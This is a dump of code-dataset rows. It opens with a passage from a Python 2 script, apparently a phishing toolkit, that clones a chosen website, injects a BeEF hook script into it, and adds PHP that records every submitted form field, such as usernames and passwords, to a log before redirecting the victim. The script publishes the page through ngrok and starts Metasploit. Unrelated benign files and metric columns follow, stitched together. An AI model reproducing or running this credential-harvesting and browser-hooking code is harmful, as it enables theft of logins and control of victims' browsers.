subprocess.call(
'touch /var/www/html/log.txt && chown -R www-data /var/www/html/log.txt && chgrp -R www-data /var/www/html/log.txt',
shell=True)
subprocess.call(
'gnome-terminal --tab -e \'tail -f /var/www/html/log.txt\'',
shell=True)
else:
subprocess.call(
'rm /var/www/html/log.txt',
shell=True)
subprocess.call(
'touch /var/www/html/log.txt && chown -R www-data /var/www/html/log.txt && chgrp -R www-data /var/www/html/log.txt',
shell=True)
subprocess.call(
'gnome-terminal --tab -e \'tail -f /var/www/html/log.txt\'',
shell=True)
print "\nI: Please 30 sec waiting...\n"
time.sleep(15.0)
subprocess.call(
'cd /usr/share/beef-xss/ && gnome-terminal --tab -e \'./beef\'',
shell=True)
time.sleep(5.0)
checkng = os.path.exists('/usr/share/AndTroj/tmp/ngrok_url.txt')
if checkng == (False):
subprocess.call(
'FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE \'s/.*public_url":"([^"]*).*/\\1/p\') && echo "$FUZ" > /usr/share/AndTroj/tmp/ngrok_url.txt',
shell=True)
else:
subprocess.call(
'rm /usr/share/AndTroj/tmp/ngrok_url.txt',
shell=True)
subprocess.call(
'FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE \'s/.*public_url":"([^"]*).*/\\1/p\') && echo "$FUZ" > /usr/share/AndTroj/tmp/ngrok_url.txt',
shell=True)
fp = open(ng_url, "r")
URL = fp.read()
time.sleep(5.0)
subprocess.call(
'gnome-terminal --tab -e \'firefox -url ' + URL + ' -new-tab -url http://' + LAN + ':3000/ui/panel\'',
shell=True)
print """
_ _ _ _____ _ _
/\ | | | | | | / ____| | | | |
/ \ | |_| |_ __ _ ___| | __ | | ___ _ __ ___ _ __ | | ___| |_ ___
/ /\ \| __| __/ _` |/ __| |/ / | | / _ \| '_ ` _ \| '_ \| |/ _ \ __/ _ \
/ ____ \ |_| || (_| | (__| < | |___| (_) | | | | | | |_) | | __/ || __/
/_/ \_\__|\__\__,_|\___|_|\_\ \_____\___/|_| |_| |_| .__/|_|\___|\__\___|
| |
|_|
"""
sys.exit()
elif NGROK_SLT == "2":
CUSTM_URL = raw_input("\n\t[i] Example: instagram.com"
"\n\t[?] CustomURL: ")
print "\n"
subprocess.call(
'proxychains ngrok update',
shell=True)
subprocess.call(
'gnome-terminal --tab -e \'proxychains ngrok tls -hostname=' + CUSTM_URL + ' 443\'',
shell=True)
subprocess.call(
'gnome-terminal --tab -e \'proxychains ngrok tcp 3000\'',
shell=True)
chek_nngk = os.path.exists('/usr/share/AndTroj/tmp/ngrok_beef.txt')
if chek_nngk == (False):
pass
else:
subprocess.call(
'rm /usr/share/AndTroj/tmp/ngrok_beef.txt',
shell=True)
time.sleep(7.0)
subprocess.call(
'FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE \'s/.*public_url":"tcp:\/\/0.tcp.ngrok.io:([^"]*).*/\\1/p\') && echo "$FUZ" >> /usr/share/AndTroj/tmp/ngrok_beef.txt',
shell=True)
NGHOST = "127.0.0.1"
fs = open(out9)
length = 5
LGPORT_BEEF = fs.read(length)
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read()
if cmd.find('ruby') != -1:
print "Kill PID: %s; Command: %s" % (pid, cmd)
subprocess.call(
'ps -ef | grep ruby | grep -v grep | awk \'{print $2}\' | xargs kill',
shell=True)
except IOError:
continue
chek_ngk = os.path.exists('/usr/share/AndTroj/tmp/ngrok.txt')
if chek_ngk == (True):
subprocess.call(
'sed -i \'45s/.*/ dns_host: "' + LHOST + '"/\' /usr/share/beef-xss/config.yaml && '
'sed -i \'103s/.*/ db_host: "' + LHOST + '"/\' /usr/share/beef-xss/config.yaml',
shell=True)
else:
subprocess.call(
'sed -i \'45s/.*/ dns_host: "' + NGHOST + '"/\' /usr/share/beef-xss/config.yaml && '
'sed -i \'103s/.*/ db_host: "' + NGHOST + '"/\' /usr/share/beef-xss/config.yaml',
shell=True)
chek_index = os.path.exists('/var/www/html/index.php')
if chek_index == (True):
subprocess.call(
'rm /var/www/html/index.php',
shell=True)
else:
pass
subprocess.call(
'service apache2 start && cd /var/www/html/ && wget -O index.html -c -k -U "Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" "' + URL_CLONE + '"',
shell=True)
subprocess.call(
'sed -i \'s#</body>#\\n<script src="http://' + LGHOST + ':' + LGPORT_BEEF + '/hook.js"></script></body>#g\' /var/www/html/index.html',
shell=True)
subprocess.call(
'sed -i "s#</body>#\\n<script>\\n var commandModuleStr = \'<script src=' + bslash1 + '"\' + window.location.protocol + \'//\' + window.location.host + \'<%= @hook_uri %>' + bslash1 + '" type=' + bslash1 + '"text/javascript' + bslash1 + '"><iIIi/script>\';\\n document.write(commandModuleStr);\\n</script></body>#g" /var/www/html/index.html',
shell=True)
subprocess.call(
'sed -i -e \'s/\/root\///g\' /var/www/html/index.html',
shell=True)
subprocess.call(
'sed -i -e \'s#iIIi#\\\#g\' /var/www/html/index.html',
shell=True)
subprocess.call(
'mv /var/www/html/index.html /var/www/html/index.php',
shell=True)
subprocess.call(
"sed -i \"1s#.*#<?php\\nif (\$_SERVER['REQUEST_METHOD'] == 'POST') {\\nheader('Location: " + URL_CLONE + "');\\n\$handle = fopen('log.txt', 'a');\\nfwrite(\$handle, '---['.\$_SERVER['SERVER_NAME'].\$_SERVER['SCRIPT_NAME'].']---['.strtoupper(date(" + slashkutat + "h:i:s a - Y/m/d" + slashkutat + ")).']---['.\$_SERVER['REMOTE_ADDR']." + slashkutat + "]" + bslash1 + "\\\\\\r\\\\\\n" + slashkutat + ");\\nforeach(\$_POST as \$variable => \$value) {\\nfwrite(\$handle, \$variable.': '.\$value." + slashkutat + "\\\\\\r\\\\\\n" + slashkutat + ");}\\nfclose(\$handle);\\nexit;\\n} ?>#\" /var/www/html/index.php",
shell=True)
subprocess.call(
'sed -i \'s#action="[^"]*"#action="<?php echo basename(__FILE__); ?>"#g\' /var/www/html/index.php',
shell=True)
subprocess.call(
'gnome-terminal --tab -e \'msfconsole -q -x "load msgrpc ServerHost=' + LAN + ' Pass=abc123"\'',
shell=True)
checklog = os.path.exists('/var/www/html/log.txt')
if checklog == (False):
subprocess.call(
'touch /var/www/html/log.txt && chown -R www-data /var/www/html/log.txt && chgrp -R www-data /var/www/html/log.txt',
shell=True)
subprocess.call(
'gnome-terminal --tab -e \'tail -f /var/www/html/log.txt\'',
shell=True)
else:
subprocess.call(
'rm /var/www/html/log.txt',
shell=True)
subprocess.call(
'touch /var/www/html/log.txt && chown -R www-data /var/www/html/log.txt && chgrp -R www-data /var/www/html/log.txt',
shell=True)
subprocess.call(
'gnome-terminal --tab -e \'tail -f /var/www/html/log.txt\'',
shell=True)
print "\nI: Please 30 sec waiting...\n"
time.sleep(15.0)
subprocess.call(
'cd /usr/share/beef-xss/ && gnome-terminal --tab -e \'./beef\'',
shell=True)
time.sleep(5.0)
checkng = os.path.exists('/usr/share/AndTroj/tmp/ngrok_url.txt')
if checkng == (False):
subprocess.call(
'FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE \'s/.*public_url":"([^"]*).*/\\1/p\') && echo "$FUZ" > /usr/share/AndTroj/tmp/ngrok_url.txt',
shell=True)
else:
subprocess.call(
'rm /usr/share/AndTroj/tmp/ngrok_url.txt',
shell=True)
subprocess.call(
'FUZ=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | sed -nE \'s/.*public_url":"([^"]*).*/\\1/p\') && echo "$FUZ" > /usr/share/AndTroj/tmp/ngrok_url.txt',
shell=True)
fp = open(ng_url, "r")
URL = fp.read()
time.sleep(5.0)
subprocess.call(
'gnome-terminal --tab -e \'firefox -url ' + URL + ' -new-tab -url http://' + LAN + ':3000/ui/panel\'',
shell=True)
print """
_ _ _ _____ _ _
/\ | | | | | | / ____| | | | |
/ \ | |_| |_ __ _ ___| | __ | | ___ _ __ ___ _ __ | | ___| |_ ___
/ /\ \| __| __/ _` |/ __| |/ / | | / _ \| '_ ` _ \| '_ \| |/ _ \ __/ _ \
/ ____ \ |_| || (_| | (__| < | |___| (_) | | | | | | |_) | | __/ || __/
/_/ \_\__|\__\__,_|\___|_|\_\ \_____\___/|_| |_| |_| .__/|_|\___|\__\___|
| |
|_|
"""
sys.exit()
else:
return NGROK_SLT
| 51.703704
| 620
| 0.476752
| 1,718
| 15,356
| 4.079744
| 0.165891
| 0.109859
| 0.06135
| 0.095163
| 0.866029
| 0.861749
| 0.859181
| 0.850335
| 0.826223
| 0.810957
| 0
| 0.023128
| 0.324238
| 15,356
| 296
| 621
| 51.878378
| 0.652308
| 0.003777
| 0
| 0.809859
| 0
| 0.130282
| 0.414607
| 0.109062
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.017606
| 0.003521
| null | null | 0.035211
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
01c80ff3b27324ae2d9989ff85a6ad02be31a64f
| 1,392
|
py
|
Python
|
src/config.py
|
indymnv/Anime-Recommender-System
|
a2f1faa87571bde70396617ae15e161702eff7d6
|
[
"MIT"
] | null | null | null |
src/config.py
|
indymnv/Anime-Recommender-System
|
a2f1faa87571bde70396617ae15e161702eff7d6
|
[
"MIT"
] | null | null | null |
src/config.py
|
indymnv/Anime-Recommender-System
|
a2f1faa87571bde70396617ae15e161702eff7d6
|
[
"MIT"
] | null | null | null |
TRAINING_FILE = "../data/train_folds5.csv"
MODEL_OUTPUT = "../models/"
LABEL="rating_y"
BEST_FEATURES = ['rating_x',
'user_id',
'members',
'episodes',
'Action',
'Drama',
'Fantasy',
'Hentai',
'Romance',
'Adventure',
'Comedy',
'School',
'Shounen',
'Supernatural',
'Kids',
'Mecha',
'Sci-Fi',
'SliceofLife',
'type_OVA',
'Demons',
'Ecchi',
'Harem',
'Horror',
'Magic',
'Mystery',
'Parody',
'Seinen',
'Shoujo',
'SuperPower',
'type_Movie',
'type_Special',
'type_TV'
]
WORST_FEATURES =['Dementia',
'Game',
'Historical',
'MartialArts',
'Military',
'Music',
'Psychological',
'ShounenAi',
'Space',
'Sports',
'type_ONA',
'Josei',
'Police',
'Samurai',
'ShoujoAi',
'Thriller',
'Vampire',
'Yaoi',
'Yuri',
'type_Music',
'Cars'
]
WORST_FEATURES_2 =['Dementia',
'Game',
'Historical',
'MartialArts',
'Military',
'Music',
'Psychological',
'ShounenAi',
'Space',
'Sports',
'type_ONA',
'Josei',
'Police',
'Samurai',
'ShoujoAi',
'Thriller',
'Vampire',
'Yaoi',
'Yuri',
'type_Music',
'Cars',
'Action',
'Drama',
'Fantasy',
'Hentai',
'Romance',
'Adventure',
'Comedy',
'School',
'Shounen',
'Supernatural',
'Kids',
'Mecha',
'Sci-Fi',
'SliceofLife',
'type_OVA',
'Demons',
'Ecchi',
'Harem',
'Horror',
'Magic',
'Mystery',
'Parody',
'Seinen',
'Shoujo',
'SuperPower',
'type_Movie',
'type_Special',
'type_TV'
]
| 12.210526
| 43
| 0.593391
| 137
| 1,392
| 5.868613
| 0.518248
| 0.027363
| 0.044776
| 0.059701
| 0.843284
| 0.843284
| 0.843284
| 0.843284
| 0.843284
| 0.843284
| 0
| 0.001727
| 0.168103
| 1,392
| 114
| 44
| 12.210526
| 0.692573
| 0
| 0
| 0.87037
| 0
| 0
| 0.596875
| 0.01875
| 0
| 0
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| 0
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| false
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
01ce6ba07b1e509d667f241ba24784761d934f18
| 166
|
py
|
Python
|
pygasus/__init__.py
|
vincent-lg/pygasus
|
06eaa338c2600316e7e5426ba6132f148282d94b
|
[
"BSD-3-Clause"
] | null | null | null |
pygasus/__init__.py
|
vincent-lg/pygasus
|
06eaa338c2600316e7e5426ba6132f148282d94b
|
[
"BSD-3-Clause"
] | null | null | null |
pygasus/__init__.py
|
vincent-lg/pygasus
|
06eaa338c2600316e7e5426ba6132f148282d94b
|
[
"BSD-3-Clause"
] | null | null | null |
from pygasus.schema.database import Database
from pygasus.schema.field import Field
from pygasus.schema.mapper import IDMapper
from pygasus.schema.model import Model
| 33.2
| 44
| 0.855422
| 24
| 166
| 5.916667
| 0.375
| 0.309859
| 0.478873
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.096386
| 166
| 4
| 45
| 41.5
| 0.946667
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| null | 0
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| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
01cee0815835dca87683ad3598bacef73f914cc3
| 5,653
|
py
|
Python
|
models/WaDIQaM.py
|
guanghaoyin/CVRKD-IQA
|
b596a53c064d5472feb63fc61abe0b100e40606f
|
[
"MIT"
] | 25
|
2021-12-09T10:01:16.000Z
|
2022-03-25T03:10:27.000Z
|
models/WaDIQaM.py
|
guanghaoyin/CVRKD-IQA
|
b596a53c064d5472feb63fc61abe0b100e40606f
|
[
"MIT"
] | 1
|
2022-03-07T08:33:20.000Z
|
2022-03-08T08:44:38.000Z
|
models/WaDIQaM.py
|
guanghaoyin/CVRKD-IQA
|
b596a53c064d5472feb63fc61abe0b100e40606f
|
[
"MIT"
] | 5
|
2022-03-02T08:12:29.000Z
|
2022-03-17T05:22:19.000Z
|
import torch
import torch.nn.functional as F
import torch.nn as nn
class WaDIQaM_FR(nn.Module):
"""
(Wa)DIQaM-FR Model
"""
def __init__(self, weighted_average=True):
"""
:param weighted_average: weighted average or not?
"""
super(WaDIQaM_FR, self).__init__()
self.conv1 = nn.Conv2d(3, 32, 3, padding=1)
self.conv2 = nn.Conv2d(32, 32, 3, padding=1)
self.conv3 = nn.Conv2d(32, 64, 3, padding=1)
self.conv4 = nn.Conv2d(64, 64, 3, padding=1)
self.conv5 = nn.Conv2d(64, 128, 3, padding=1)
self.conv6 = nn.Conv2d(128, 128, 3, padding=1)
self.conv7 = nn.Conv2d(128, 256, 3, padding=1)
self.conv8 = nn.Conv2d(256, 256, 3, padding=1)
self.conv9 = nn.Conv2d(256, 512, 3, padding=1)
self.conv10 = nn.Conv2d(512, 512, 3, padding=1)
self.fc1_q = nn.Linear(512*3, 512)
self.fc2_q = nn.Linear(512, 1)
self.fc1_w = nn.Linear(512*3, 512)
self.fc2_w = nn.Linear(512, 1)
self.dropout = nn.Dropout()
self.weighted_average = weighted_average
def extract_features(self, x):
"""
feature extraction
:param x: the input image
:return: the output feature
"""
h = F.relu(self.conv1(x))
h = F.relu(self.conv2(h))
h = F.max_pool2d(h, 2)
h = F.relu(self.conv3(h))
h = F.relu(self.conv4(h))
h = F.max_pool2d(h, 2)
h = F.relu(self.conv5(h))
h = F.relu(self.conv6(h))
h = F.max_pool2d(h, 2)
h = F.relu(self.conv7(h))
h = F.relu(self.conv8(h))
h = F.max_pool2d(h, 2)
h = F.relu(self.conv9(h))
h = F.relu(self.conv10(h))
h = F.max_pool2d(h, 2)
h = h.view(-1, 512)
return h
def forward(self, x, x_ref):
"""
:param x: distorted patches of images
:param x_ref: reference patches of images
:return: quality of images/patches
"""
batch_size = x.size(0)
n_patches = x.size(1)
if self.weighted_average:
q = torch.ones((batch_size, 1), device=x.device)
else:
q = torch.ones((batch_size * n_patches, 1), device=x.device)
for i in range(batch_size):
h = self.extract_features(x[i])
h_ref = self.extract_features(x_ref[i])
h = torch.cat((h - h_ref, h, h_ref), 1)
h_ = h # save intermediate features
h = F.relu(self.fc1_q(h_))
h = self.dropout(h)
h = self.fc2_q(h)
if self.weighted_average:
w = F.relu(self.fc1_w(h_))
w = self.dropout(w)
w = F.relu(self.fc2_w(w)) + 0.000001 # small constant
q[i] = torch.sum(h * w) / torch.sum(w)
else:
q[i*n_patches:(i+1)*n_patches] = h
return q
class WaDIQaM_NR(nn.Module):
"""
(Wa)DIQaM-NR-NR Model
"""
def __init__(self, weighted_average=True):
"""
:param weighted_average: weighted average or not?
"""
super(WaDIQaM_NR, self).__init__()
self.conv1 = nn.Conv2d(3, 32, 3, padding=1)
self.conv2 = nn.Conv2d(32, 32, 3, padding=1)
self.conv3 = nn.Conv2d(32, 64, 3, padding=1)
self.conv4 = nn.Conv2d(64, 64, 3, padding=1)
self.conv5 = nn.Conv2d(64, 128, 3, padding=1)
self.conv6 = nn.Conv2d(128, 128, 3, padding=1)
self.conv7 = nn.Conv2d(128, 256, 3, padding=1)
self.conv8 = nn.Conv2d(256, 256, 3, padding=1)
self.conv9 = nn.Conv2d(256, 512, 3, padding=1)
self.conv10 = nn.Conv2d(512, 512, 3, padding=1)
self.fc1q_nr = nn.Linear(512, 512)
self.fc2q_nr = nn.Linear(512, 1)
self.fc1w_nr = nn.Linear(512, 512)
self.fc2w_nr = nn.Linear(512, 1)
self.dropout = nn.Dropout()
self.weighted_average = weighted_average
def extract_features(self, x):
"""
feature extraction
:param x: the input image
:return: the output feature
"""
h = F.relu(self.conv1(x))
h = F.relu(self.conv2(h))
h = F.max_pool2d(h, 2)
h = F.relu(self.conv3(h))
h = F.relu(self.conv4(h))
h = F.max_pool2d(h, 2)
h = F.relu(self.conv5(h))
h = F.relu(self.conv6(h))
h = F.max_pool2d(h, 2)
h = F.relu(self.conv7(h))
h = F.relu(self.conv8(h))
h = F.max_pool2d(h, 2)
h = F.relu(self.conv9(h))
h = F.relu(self.conv10(h))
h = F.max_pool2d(h, 2)
h = h.view(-1,512)
return h
def forward(self, x):
"""
:param x: distorted patches of images
:return: quality of images/patches
"""
batch_size = x.size(0)
n_patches = x.size(1)
if self.weighted_average:
q = torch.ones((batch_size, 1), device=x.device)
else:
q = torch.ones((batch_size * n_patches, 1), device=x.device)
for i in range(batch_size):
h = self.extract_features(x[i])
h_ = h # save intermediate features
h = F.relu(self.fc1q_nr(h_))
h = self.dropout(h)
h = self.fc2q_nr(h)
if self.weighted_average:
w = F.relu(self.fc1w_nr(h_))
w = self.dropout(w)
w = F.relu(self.fc2w_nr(w)) + 0.000001 # small constant
q[i] = torch.sum(h * w) / torch.sum(w)
else:
q[i * n_patches:(i + 1) * n_patches] = h
return q
| 30.89071
| 72
| 0.520078
| 837
| 5,653
| 3.403823
| 0.114695
| 0.022464
| 0.082134
| 0.07722
| 0.909793
| 0.904177
| 0.867322
| 0.83854
| 0.83854
| 0.774307
| 0
| 0.084292
| 0.338935
| 5,653
| 182
| 73
| 31.06044
| 0.678084
| 0.098886
| 0
| 0.77686
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.049587
| false
| 0
| 0.024793
| 0
| 0.123967
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
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| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
01d710970f448564559d4874b3942bb4dea5ade0
| 95
|
py
|
Python
|
gym-game2048/gym_game2048/envs/__init__.py
|
gingkg/paly_2048_gym_by_RL
|
3e5043169e637818ecae8f83688ffe52897e860f
|
[
"Apache-2.0"
] | 1
|
2020-07-25T11:53:12.000Z
|
2020-07-25T11:53:12.000Z
|
gym-game2048/gym_game2048/envs/__init__.py
|
gingkg/paly_2048_gym_by_RL
|
3e5043169e637818ecae8f83688ffe52897e860f
|
[
"Apache-2.0"
] | null | null | null |
gym-game2048/gym_game2048/envs/__init__.py
|
gingkg/paly_2048_gym_by_RL
|
3e5043169e637818ecae8f83688ffe52897e860f
|
[
"Apache-2.0"
] | 1
|
2021-11-30T13:12:41.000Z
|
2021-11-30T13:12:41.000Z
|
from gym_game2048.envs.env import Game2048Env
from gym_game2048.envs.game_2048 import Game2048
| 31.666667
| 48
| 0.873684
| 15
| 95
| 5.333333
| 0.6
| 0.175
| 0.375
| 0.475
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.229885
| 0.084211
| 95
| 2
| 49
| 47.5
| 0.689655
| 0
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| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
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| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
01e989d4d045cb9acc1318c9aa098d0517bb8631
| 4,010
|
py
|
Python
|
GRFFE/tests/trusted_values_dict.py
|
kazewong/nrpytutorial
|
cc511325f37f01284b2b83584beb2a452556b3fb
|
[
"BSD-2-Clause"
] | null | null | null |
GRFFE/tests/trusted_values_dict.py
|
kazewong/nrpytutorial
|
cc511325f37f01284b2b83584beb2a452556b3fb
|
[
"BSD-2-Clause"
] | null | null | null |
GRFFE/tests/trusted_values_dict.py
|
kazewong/nrpytutorial
|
cc511325f37f01284b2b83584beb2a452556b3fb
|
[
"BSD-2-Clause"
] | null | null | null |
from mpmath import mpf, mp, mpc
from UnitTesting.standard_constants import precision
mp.dps = precision
trusted_values_dict = {}
# Generated on: 2019-11-04
trusted_values_dict['GRFFE__generate_everything_for_UnitTesting__globals'] = {'B_notildeU[0]': mpc(real='0.0', imag='-0.742452019604170732058889825566439'), 'B_notildeU[1]': mpc(real='0.0', imag='-0.181876983465921737703752114612143'), 'B_notildeU[2]': mpc(real='0.0', imag='-0.117426210366556288411388209169672'), 'smallb4U[0]': mpc(real='0.0', imag='-11.7408903561358624045851684059016'), 'smallb4U[1]': mpc(real='0.0', imag='-37.5633821657357103163121792022139'), 'smallb4U[2]': mpc(real='0.0', imag='-8.94650301228646505080632778117433'), 'smallb4U[3]': mpc(real='0.0', imag='-25.9274360646321255785551329609007'), 'smallbsquared': mpf('-4489.79501344023113453502760648373'), 'TEM4UU[0][0]': mpf('5715.87252826069696412301070452758'), 'TEM4UU[0][1]': mpf('-7480.57525781862850673833238975481'), 'TEM4UU[0][2]': mpf('-2553.26561722369412924891849704169'), 'TEM4UU[0][3]': mpf('-7576.88329701111366444309701253423'), 'TEM4UU[1][0]': mpf('-7480.57525781862850673833238975481'), 'TEM4UU[1][1]': mpf('-5288.32442310443738273817246018271'), 'TEM4UU[1][2]': mpf('2236.53593548052714475438098344844'), 'TEM4UU[1][3]': mpf('-1139.81099397901022260062385949889'), 'TEM4UU[2][0]': mpf('-2553.26561722369412924891849704169'), 'TEM4UU[2][1]': mpf('2236.53593548052714475438098344844'), 'TEM4UU[2][2]': mpf('4327.46477791878210862585117533508'), 'TEM4UU[2][3]': mpf('-3682.65463903639288535716993070779'), 'TEM4UU[3][0]': mpf('-7576.88329701111366444309701253423'), 'TEM4UU[3][1]': mpf('-1139.81099397901022260062385949889'), 'TEM4UU[3][2]': mpf('-3682.65463903639288535716993070779'), 'TEM4UU[3][3]': mpf('421.853478957332927554224499472671'), 'TEM4UD[0][0]': mpf('-8866.90247017605958211669951123899'), 'TEM4UD[0][1]': mpf('-3379.42199760249942622602615964011'), 'TEM4UD[0][2]': mpf('-2543.59340294523396399800878122902'), 'TEM4UD[0][3]': mpf('-4738.81997498703781593558505975912'), 'TEM4UD[1][0]': mpf('-14917.1768757416977115980929755443'), 'TEM4UD[1][1]': mpf('-9878.23693750166214233525749037964'), 'TEM4UD[1][2]': mpf('-5693.80832891793724655468735945889'), 'TEM4UD[1][3]': mpf('-10656.8242703571292129987835643191'), 'TEM4UD[2][0]': mpf('-3510.22539887996082484080402291652'), 'TEM4UD[2][1]': mpf('-1796.43321398727037648491946537527'), 'TEM4UD[2][2]': mpf('-3584.38403207313483661601142096336'), 'TEM4UD[2][3]': mpf('-2507.52806836792008774317824393005'), 'TEM4UD[3][0]': mpf('-13631.8799044275077987203941480484'), 'TEM4UD[3][1]': mpf('-6960.04849282572461288547164433697'), 'TEM4UD[3][2]': mpf('-5230.46879008809614049238828923827'), 'TEM4UD[3][3]': mpf('-11997.2312545746031922393180471656'), 'S_tildeD[0]': mpc(real='0.0', imag='-970.593195289987079377169720828533'), 'S_tildeD[1]': mpc(real='0.0', imag='-730.537485473731976526323705911636'), 'S_tildeD[2]': mpc(real='0.0', imag='-1361.02162579569403533241711556911'), 'S_tilde_fluxUD[0][0]': mpc(real='0.0', imag='-2837.09745625235836996580474078655'), 'S_tilde_fluxUD[0][1]': mpc(real='0.0', imag='-1635.30083643115222002961672842503'), 'S_tilde_fluxUD[0][2]': mpc(real='0.0', imag='-3060.71308275435058021685108542442'), 'S_tilde_fluxUD[1][0]': mpc(real='0.0', imag='-515.947950426419538416666910052299'), 'S_tilde_fluxUD[1][1]': mpc(real='0.0', imag='-1029.45969852371263186796568334103'), 'S_tilde_fluxUD[1][2]': mpc(real='0.0', imag='-720.179273817587500161607749760151'), 'S_tilde_fluxUD[2][0]': mpc(real='0.0', imag='-1998.97370343730949571181554347277'), 'S_tilde_fluxUD[2][1]': mpc(real='0.0', imag='-1502.22654034854099336371291428804'), 'S_tilde_fluxUD[2][2]': mpc(real='0.0', imag='-3445.68716966141028024139814078808'), 'S_tilde_source_termD[0]': mpc(real='0.0', imag='-6201.53904032563423243118450045586'), 'S_tilde_source_termD[1]': mpc(real='0.0', imag='-5199.17874189049416600028052926064'), 'S_tilde_source_termD[2]': mpc(real='0.0', imag='-5582.08354965061607799725607037544')}
| 445.555556
| 3,851
| 0.740399
| 468
| 4,010
| 6.247863
| 0.290598
| 0.0171
| 0.060192
| 0.067715
| 0.135431
| 0.101573
| 0
| 0
| 0
| 0
| 0
| 0.519201
| 0.038903
| 4,010
| 8
| 3,852
| 501.25
| 0.239491
| 0.005985
| 0
| 0
| 1
| 0
| 0.703313
| 0.512801
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 0.4
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
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| 0
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| 1
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| 1
| 1
| null | 0
| 0
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| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 9
|
1732d27eb6ecf1377553e73fc5c98e6297c8f2ef
| 35
|
py
|
Python
|
dga/__init__.py
|
hamzakhanvit/dga
|
fa1f2888a5491559db4c7a248eab81307d9b28bc
|
[
"MIT"
] | null | null | null |
dga/__init__.py
|
hamzakhanvit/dga
|
fa1f2888a5491559db4c7a248eab81307d9b28bc
|
[
"MIT"
] | null | null | null |
dga/__init__.py
|
hamzakhanvit/dga
|
fa1f2888a5491559db4c7a248eab81307d9b28bc
|
[
"MIT"
] | null | null | null |
from .gfa_parser import gfa_parser
| 17.5
| 34
| 0.857143
| 6
| 35
| 4.666667
| 0.666667
| 0.642857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.114286
| 35
| 1
| 35
| 35
| 0.903226
| 0
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| true
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| null | 1
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| 0
| 0
| 0
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| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
1753df46ca61f70800840b234f59bc12f68a5c14
| 32
|
py
|
Python
|
function_21210112.py
|
hapfooo1/Study-8
|
8760116d24d58e2ebeff4b0d739227599828f672
|
[
"MIT"
] | null | null | null |
function_21210112.py
|
hapfooo1/Study-8
|
8760116d24d58e2ebeff4b0d739227599828f672
|
[
"MIT"
] | null | null | null |
function_21210112.py
|
hapfooo1/Study-8
|
8760116d24d58e2ebeff4b0d739227599828f672
|
[
"MIT"
] | null | null | null |
print('My student_id: 21210112')
| 32
| 32
| 0.78125
| 5
| 32
| 4.8
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.266667
| 0.0625
| 32
| 1
| 32
| 32
| 0.533333
| 0
| 0
| 0
| 0
| 0
| 0.69697
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
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